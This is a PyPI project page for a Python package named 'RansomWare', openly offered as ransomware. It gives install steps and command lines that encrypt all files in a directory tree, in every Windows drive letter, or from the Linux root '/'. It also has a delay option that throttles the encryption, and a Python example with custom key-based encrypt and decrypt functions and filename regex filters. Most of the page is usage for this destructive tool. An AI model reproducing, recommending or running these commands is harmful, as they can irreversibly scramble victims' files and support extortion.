Skip to main content

This package implement a RansomWare.

Project description

RansomWare

Description

This package implement a RansomWare.

Requirements

This package require :

  • python3
  • python3 Standard Library

Installation

pip install RansomWare

Launcher

Command line:

RansomWare aaa # Crypt all files in current directory and subdirectories with XOR and key aaa
RansomWare -t 56 aaa # Crypt all files in current directory and subdirectories with XOR and key aaa and sleep 56 secondes between file.
RansomWare -e 64 YWFh # Crypt all files in current directory and subdirectories with XOR and key aaa (encoded with base64)
RansomWare -d dir aaa # Crypt all files in dir and subdirectories with XOR and key aaa
RansomWare -a aaa # Encrypt all files on Windows this argument encrypt "A:\", "B:\", "C:\", ... "Z:\". On Linux this argument replace directory by "/".

Python script

from RansomWare import RansomWare

def get_IV(filename: str) -> bytes:
	""" This function return my custom IV. """
	return filename.encode()

def crypt(key: bytes, data:bytes) -> bytes:
	""" This function encrypt data with key. """
	return bytes([(car + key[i % len(key)]) % 256 for i, car in enumerate(data)])

def decrypt(key: bytes, data:bytes) -> bytes:
	""" This function decrypt data with key. """
	return bytes([(car - key[i % len(key)]) % 256 for i, car in enumerate(data)])

cryptolocker = RansomWare(
	b"aaa", # Key
	function_encrypt = crypt, # function to encrypt from key and data
    function_IV = get_IV, # function to get IV from filename
    directory = "dir", # directory to encrypt
    timeBetweenCrypt = 5, # time to sleep between encrypt files
    regexs_filename_to_encrypt = [".*txt", ".*ini"], # encrypt file if filename match with this regex
    regexs_filename_dont_encrypt = ["^/bin.*"], # don't encrypt file if filename match with this regex
)
cryptolocker.launch()

unlock = RansomWare(
	b"aaa", # Key
	function_encrypt = decrypt, # function to decrypt from key and data
    function_IV = get_IV, # function to get IV from filename
    directory = "dir", # directory to decrypt
    timeBetweenCrypt = 5, # time to sleep between decrypt files
    regexs_filename_to_encrypt = [".*txt", ".*ini"], # decrypt file if filename match with this regex
    regexs_filename_dont_encrypt = ["^/bin.*"], # don't decrypt file if filename match with this regex
)
unlock.launch()

Python executable:

python3 RansomWare.pyz -t 5 -d dir -e 64 YWFh

# OR
chmod u+x RansomWare.pyz # add execute rights
./RansomWare.pyz aaa # execute file

Python module (command line):

python3 -m RansomWare aaa
python3 -m RansomWare.RansomWare  -t 5 -d dir -e 64 YWFh

Links

Licence

Licensed under the GPL, version 3.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

RansomWare-0.0.1.tar.gz (17.2 kB view hashes)

Uploaded Source

Supported by

AWS AWS Cloud computing and Security Sponsor Datadog Datadog Monitoring Fastly Fastly CDN Google Google Download Analytics Microsoft Microsoft PSF Sponsor Pingdom Pingdom Monitoring Sentry Sentry Error logging StatusPage StatusPage Status page